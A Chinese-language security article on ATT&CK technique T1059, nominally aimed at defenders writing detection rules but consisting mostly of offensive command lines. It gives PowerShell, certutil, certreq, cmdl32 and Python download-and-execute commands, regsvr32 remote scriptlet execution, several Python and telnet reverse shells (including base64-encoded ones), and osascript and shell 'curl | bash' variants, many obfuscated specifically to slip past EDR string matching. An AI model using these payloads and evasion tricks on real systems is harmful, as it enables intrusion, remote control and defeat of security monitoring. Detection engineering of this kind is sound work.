ATT&CK中的攻与防——T1059
# 前言
为什么会有此篇文章,随着攻防大环境的深入,ATT&CK攻防矩阵也逐渐步入各个企业视野,越来越多的企业采用ATT&CK矩阵来作为反入侵检测,但是笔者很少看到有文章具体分析每一条策略的检测逻辑已经绕过方案,WINDOWS端的或许是零零碎碎的技术细节,MAC的更无从谈起,笔者从事安全的时间也不长,对于ATT&CK矩阵的了解也只能是略知一二,本文就以T1059策略作为切入点,分析一下ATT&CK矩阵中的攻与防,如果读者认为此篇文章能学到一些不一样的东西,笔者自然是很开心,笔者后续也会把ATT&CK矩阵的所有TTP做一个技术分析
# WINDOWS
## T1059.001 powershell
对于powershell的检测,我们可以站在攻击者的角度去思考,powershell能给攻击者带来什么,最直接的是通过cs生成的ps1上线,亦或者是通过powershell远程加载其他恶意样本,或者是用powershell下载工具,进一步横线利用,或者利用powershell收集一些敏感信息,所以我们可以从2个点去突破策略的编写,第一个是从下载去编写策略,第二个是从执行去编写策略。
### 2.1.1
对于利用powershell去下载文件,我们最常见的命令是什么呢?
powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.10:13337/test.txt', 'test.txt')
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/f78eedcf-575b-4461-ba95-cb9829baa75b.png)
如果是防守方,策略的编写就必须具有通用性,匹配固定且不易产生误报的,那就是System.Net.WebClient,当然,策略的编写不仅仅局限于cmd cmd_chain的匹配,也可以cep关联,罕见hash的计算去寻找潜在的恶意命令,但是这些内容都不在本篇文章技术范围之内,此外,防守方还会采用powershell语言模式,当然,这不是powershell的Get-ExecutionPolicy策略,感兴趣的朋友可以看看微软文档:
回归正题,如果正则匹配System.Net.WebClient,我们应该怎么绕过呢?
最简单的就是一些特殊字符串的绕过
powershell.exe (New-Object System.Net.We"bC"lient).DownloadFile('http://192.168.1.10:13337/test.txt', 'test.txt')
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/59e16520-315a-42c4-bcd9-04f9485a5bca.png)
当然,还有很多的特殊符号,比如'' `` @ () ^^ 笔者就不耽误大家时间了,自行fuzzing
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/77756306-7dd0-48ca-8f69-daf2d3edddd0.png)
利用环境变量绕过
powershell.exe (New-Object System.Net.Web%comspec:~20,1%lient).DownloadFile('http://192.168.1.10:13337/test.txt', 'congya.txt')
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/700816dc-28b9-4f38-93fc-860767dc9b07.png)
如果规则是和DownloadFile匹配在一起的话,我们也可以分2段执行
$client = new-object System.Net.WebClient
$client.DownloadFile('http://192.168.1.10:13337/test.txt', 'C:\Users\xxxx\Desktop\lll.txt')
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/0e474de9-3e06-4b0c-a39c-45a7e8967828.png)
当然,笔者朋友们也可以思考一下(cs常见的上线命令,能否变形)
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xx.xxx.xx.xx:8001/aa'))"
### 2.1.2
当然,下载恶意文件,不仅仅有WebClient,我们还可以有iwr
powershell.exe iwr -uri http://192.168.1.10:13337/test.txt -o iwr.txt
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/a35a9982-368a-4f14-8303-7253169e8ebb.png)
当然 iwr == invoke-webrequest
powershell.exe invoke-webrequest -uri http://192.168.1.10:13337/test.txt -o iwr.txt
也可以使用BitsTransfer
$url = "http://192.168.1.10:13337/test.txt"
$output = "C:\Users\xinxin\Desktop\Transfer.txt"
Import-Module BitsTransfer
start-BitsTransfer -Source $url -Destination $output
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/43ffa13a-b17d-46e0-b178-493f0580d934.png)
### 2.1.3
利用powershell收集敏感信息
Get-Content (Get-PSReadlineOption).HistorySavePath //获取powershell历史命令
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/c14745f4-f622-4fe4-a392-7656935af2c0.png)
查询rdp连接ip,无感查询域用户
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/744465e8-4b01-45c7-9e9c-50e824de8a81.png)
利用管道查询qq号
![image.png](https://storage.tttang.com/media/attachment/2022/08/15/3bbc108f-82b0-409d-ad0b-dc3bc132dddd.png)
当然,利用powershell进行渗透收集信息的手法多种多样,如何在这方面做出检测也是企业需要考虑的,此外,Powershell作为windows最常用也是最核心的东西,笔者在这篇幅根本说不完,包括常见的后渗透工具,powersploit,empire,mimikatz这些对抗也毫无提级,对于混淆工具Invoke-Obfuscation等也没有说明,笔者也希望通过前面一些手法的简介,旁敲侧击的能够给读者朋友带来一些不一样的灵感
## 1059.003 cmd
利用cmd下载文件
最常见的就是我们的certutil
certutil -urlcache -split -f http://192.168.1.11:1337/test.txt
如果防守规则写死,certutil,urlcache,split出现就拦截
利用超过ASCII编码的特殊字符串绕过
当然,我们还可以对certutil做手脚,比如利用where certutil找出certutil位置,再利用copy或者rename更改,或者使用环境变量,即可使用
%comspec:~20,1%ertutil cer^tut^il (certutil)
利用bitsadmin下载文件
利用cer证书下载
certreq -get -config http://192.168.1.11:1337/test.txt c:\windows\win.ini C:\Users\xinxin\Desktop\test3.txt
certreq -post -config https://www.baidu.com/robots.txt c:\windows\win.ini C:\Users\xxx\Desktop\test2.html
利用cmdl32下载(就不截图了)
icacls %cd% /deny %username%:(OI)(CI)(DE,DC)
set tmp=%cd%
echo [Connection Manager] > settings.txt
echo CMSFile=settings.txt >> settings.txt
echo ServiceName=WindowsUpdate >> settings.txt
echo TunnelFile=settings.txt >> settings.txt
echo [Settings] >> settings.txt
echo UpdateUrl=http://127.0.0.1/sss.txt >> settings.txt //生成配置文件
cmdl32 /vpn /lan %cd%\settings.txt //此时会生成对应tmp文件
icacls %cd% /remove:d %username%
move VPNBDFF.tmp sss.txt //修改对应的名字
当然,还有我们的wget curl,就不一一列举了,当然,也有师傅会说,没有什么mshta,cscript来下载,这些都会基于T1218做技术分享的,至于利用rundll32执行恶意文件,也不会在本章出现
### 3.1.2
执行恶意文件
Pcalua -m -a mmm.exe
forfiles -P c:\windows\system32 /m notepad.exe /c c:\users\xxx\desktop\mmm.exe
wmic process call create C:\Users\xinxin\Desktop\mmm.exe
外带执行命令
通过wmic配合regsvr32进行外带(参考倾旋师傅文章)
wmic process call create "regsvr32 /s /n /u /i:http://xx.xx.xx.xx:13307/test.txt scrobj.dll"
还有通过dnslog外带来执行,网上也有许多参考文章,笔者在这里也就不献丑了,当然,还有通过bat,vbs等脚本执行(如果某些applocker策略有遗漏,可绕过),通过7zip等其他应用执行恶意文件,自己上传cmd,笔者都没有在文中体现,也没有给出防守的解决方案(可通过相应的cmd_chain关联,父子进程,file_path等参数查看,也可以cep关联),说的很空洞,哈哈哈哈,关于T1059运用cmd的手法,不同的师傅会有不同的理解
## 1059.006 python
关于python,笔者就把mac和win一起说了,在windows里面,python的环境可以在域环境里面给予攻击者巨大的帮助,不论是impack工具包亦或者是nopac,cve等脚本,都是由python编写,利用也是十分方便,mac对于python的检测,目前还是基于对文件的传输和下载以及执行
对于文件的下载
python2 -c "import urllib2;u=urllib2.urlopen('http://xx.xx.xx.xx:13307/test.txt');file=open('test.txt','w');file.write(u.read());file.close();"
对于文件的执行
python3 -c "import os;output=os.system('C:/Users/xxxx/Desktop/7zfm.exe');"
python3 -c "import os;output=os.popen('C:/Users/xxxx/Desktop/7zfm.exe');" //windows
python -c 'import os;output=os.popen("bash /Users/congya/Desktop/test.sh");' //mac
反弹shell
python -c 'import subprocess,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
当然,对于反弹shell的绕过,我们同样可以通过mac的环境变量进行绕过,where is然后cp||mv对python的名字更改,以及字符串的利用
pyth${TMPDIR: 6: 1}n3
python -c 'import subprocess,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xx.xx.xx.xx",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import subprocess,os,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect (("xx.xx.xx.xx",xxxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这2条命令有和区别,区别在于s.connect (("xx.xx.xx.xx",xxxx))中间的空格,笔者用此方法绕过了某EDR的某一层检测
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('xx.xx.xx.xx',1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
python -c "import base64;exec(base64.b64decode('aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzCnM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnMuY29ubmVjdCgoJ2lwJyxwb3J0KSkKb3MuZHVwMihzLmZpbGVubygpLDApCm9zLmR1cDIocy5maWxlbm8oKSwxKQpvcy5kdXAyKHMuZmlsZW5vKCksMikKcD1zdWJwcm9jZXNzLmNhbGwoWycvYmluL2Jhc2gnLCctaSddKQ=='))"
# mac
## T1059.002 osascript
对于此条规则的检测,核心点在于osascript与之后面对用的风险命令行
osascript -e 'do shell script "curl http://xx.xx.xx.xx:6007/test.sh | bash"' //下载远程vps的恶意sh脚本并且执行
一般的检测规则对应osascript curl bash
那么我们常见的绕过payload如何
osascript -e 'do shell script "wget http://xx.xx.xx.xx:6007/test.sh | bash"' //替换wget
osascript -e 'do shell script "wget http://xx.xx.xx.xx:6007/test.sh | bin/sh"' //替换bash
osascript -e 'do shell script "cu\\rl http://xx.xx.xx.xx:6007/test.sh | bash"' //特殊字符串,\\
osascript -e 'do shell script "cu`aa`rl http://xx.xx.xx.xx:6007/test.sh | bash"' //特殊字符串``
osascript -e 'do shell script "cu${TMPDIR: 3: 1}l http://xx.xx.xx.xx:6007/test.sh | bash"' //特殊字符串,环境变量
osascript -e 'do shell script "curl http://xx.xx.xx.xx:6007/test.sh | $(echo /b)in$(echo /ba)sh"' //特殊字符串,混淆bin/bash
ss
## T1059.004 Unix Shell
对于此条规则的检测,和windows的powershell以及cmd检测思路是一样的,对于下载,执行等敏感恶意行为做检测
mac除了常见的wget,curl下载文件,还有
scp -r root@xx.xx.xx.xx:/root/test.sh //scp下载恶意文件
rsync -av root@xx.xx.xx.xx:/root/test.sh //rsync下载恶意文件
echo "curl http://xx.xx.xx.xx:xxx/test.sh | bash" | base64
echo Y3VybCBodHRwOi8veHgueHgueHgueHg6eHh4L3Rlc3Quc2ggfCBiYXNoCg== | base64 -d | sh //通过base64执行恶意命令
echo Y3VybCBodHRwOi8veHgueHgueHgueHg6eHh4L3Rlc3Quc2ggfCBiYXNoCg== | \base64 \-\Dd | sh //通过对base64混淆
printf Y3VybCBodHRwOi8veHgueHgueHgueHg6eHh4L3Rlc3Quc2ggfCBiYXNoCg== | base64 -d | sh //利用printf执行恶意命令
当然,还有我们常见的反弹shell(前文已经例举python,常见的还有lua,ruby,php,perl),当然,有些语言的局限性比较大,虽然mac自带ruby,但是常见的lua需要安装requests,sockets库,利用条件也会相对苛刻
利用telnet反弹shell
telnet ip 输入port | /bin/bash | telnet ip 输出port
至于mac用awk,mknod反弹shell,笔者的环境失败了,如果有知道的师傅,还望指点一二
PS:对于T1059.002提及的环境变量,一些特殊字符串,读者朋友们也都可以转化利用
# 后记
此篇文章偏为基础,意在为各个在做ATT&CK矩阵的企业提供一些浅薄的思路,此篇文章为先生社区的后记(https://xz.aliyun.com/t/11347),受二龙师傅邀请,若文章有错误或补充,望给位师傅提出指导性建议,第一次投稿跳跳糖社区,还望各位师傅海涵,如果本篇文章能给师傅们带来一些不一样的思路,阿鑫觉得还是很舒服了